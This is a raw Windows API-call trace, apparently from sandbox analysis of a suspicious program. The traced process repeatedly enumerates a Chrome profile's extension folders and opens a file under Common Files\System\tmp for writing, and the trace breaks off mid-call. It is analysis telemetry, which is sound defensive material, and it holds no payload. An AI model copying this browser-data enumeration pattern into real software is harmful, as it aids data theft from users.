MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0142.264] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0142.264] GetFileType (hFile=0x190) returned 0x1 [0142.264] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82651e90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828e7880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x828e7880, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0142.265] AreFileApisANSI () returned 1 [0142.265] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0142.265] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0142.265] GetFileType (hFile=0x194) returned 0x1 [0142.265] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82896f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82899680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82899680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0142.265] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0142.265] GetLastError () returned 0x12 [0142.265] AreFileApisANSI () returned 1 [0142.265] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0142.265] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0142.265] GetFileType (hFile=0x194) returned 0x1 [0142.265] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8289e4a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828a0bb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x828a0bb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x141, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0142.266] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0142.266] GetLastError () returned 0x12 [0142.266] AreFileApisANSI () returned 1 [0142.266] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0142.266] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0142.266] GetFileType (hFile=0x194) returned 0x1 [0142.266] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x828a32c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82aab310, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aab310, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x141, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0142.267] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0142.268] GetLastError () returned 0x12 [0142.268] AreFileApisANSI () returned 1 [0142.268] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0142.268] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0142.268] GetFileType (hFile=0x194) returned 0x1 [0142.268] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82665710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828836f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x828836f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0142.308] AreFileApisANSI () returned 1 [0142.308] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0142.308] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0142.309] GetFileType (hFile=0x128) returned 0x1 [0142.309] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8266a530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8266f350, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8266f350, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0142.309] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0142.309] GetLastError () returned 0x12 [0142.309] AreFileApisANSI () returned 1 [0142.309] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0142.309] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0142.309] GetFileType (hFile=0x128) returned 0x1 [0142.309] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82676880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8267ddb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8267ddb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0142.355] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0142.355] GetLastError () returned 0x12 [0142.355] AreFileApisANSI () returned 1 [0142.355] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0142.355] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0142.355] GetFileType (hFile=0x128) returned 0x1 [0142.355] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826a0090, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826a27a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826a27a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0142.356] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0142.356] GetLastError () returned 0x12 [0142.356] AreFileApisANSI () returned 1 [0142.356] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0142.356] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0142.356] GetFileType (hFile=0x128) returned 0x1 [0142.356] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826ac3e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826b1200, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826b1200, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0142.402] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0142.402] GetLastError () returned 0x12 [0142.402] AreFileApisANSI () returned 1 [0142.402] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0142.402] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0142.402] GetFileType (hFile=0x128) returned 0x1 [0142.402] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826b8730, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826bae40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826bae40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0142.402] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0142.402] GetLastError () returned 0x12 [0142.403] AreFileApisANSI () returned 1 [0142.403] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0142.403] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0142.403] GetFileType (hFile=0x128) returned 0x1 [0142.403] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826c2370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826c7190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826c7190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0142.448] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0142.449] GetLastError () returned 0x12 [0142.449] AreFileApisANSI () returned 1 [0142.449] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0142.449] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0142.449] GetFileType (hFile=0x128) returned 0x1 [0142.449] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826ce6c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826d0dd0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826d0dd0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0142.449] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0142.449] GetLastError () returned 0x12 [0142.449] AreFileApisANSI () returned 1 [0142.449] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0142.449] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0142.449] GetFileType (hFile=0x128) returned 0x1 [0142.450] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826d8300, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826df830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826df830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0142.496] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0142.496] GetLastError () returned 0x12 [0142.496] AreFileApisANSI () returned 1 [0142.496] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0142.496] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0142.496] GetFileType (hFile=0x128) returned 0x1 [0142.497] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826e9470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826ebb80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826ebb80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0142.497] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0142.497] GetLastError () returned 0x12 [0142.497] AreFileApisANSI () returned 1 [0142.497] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0142.498] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0142.498] GetFileType (hFile=0x128) returned 0x1 [0142.498] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826f30b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826f7ed0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826f7ed0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0142.542] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0142.543] GetLastError () returned 0x12 [0142.543] AreFileApisANSI () returned 1 [0142.543] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0142.543] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0142.543] GetFileType (hFile=0x128) returned 0x1 [0142.543] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826ff400, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82701b10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82701b10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0142.543] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0142.543] GetLastError () returned 0x12 [0142.543] AreFileApisANSI () returned 1 [0142.543] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0142.544] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0142.544] GetFileType (hFile=0x128) returned 0x1 [0142.544] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82709040, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8270de60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8270de60, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0142.589] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0142.589] GetLastError () returned 0x12 [0142.589] AreFileApisANSI () returned 1 [0142.589] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0142.589] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0142.589] GetFileType (hFile=0x128) returned 0x1 [0142.590] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82715390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82717aa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82717aa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0142.590] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0142.590] GetLastError () 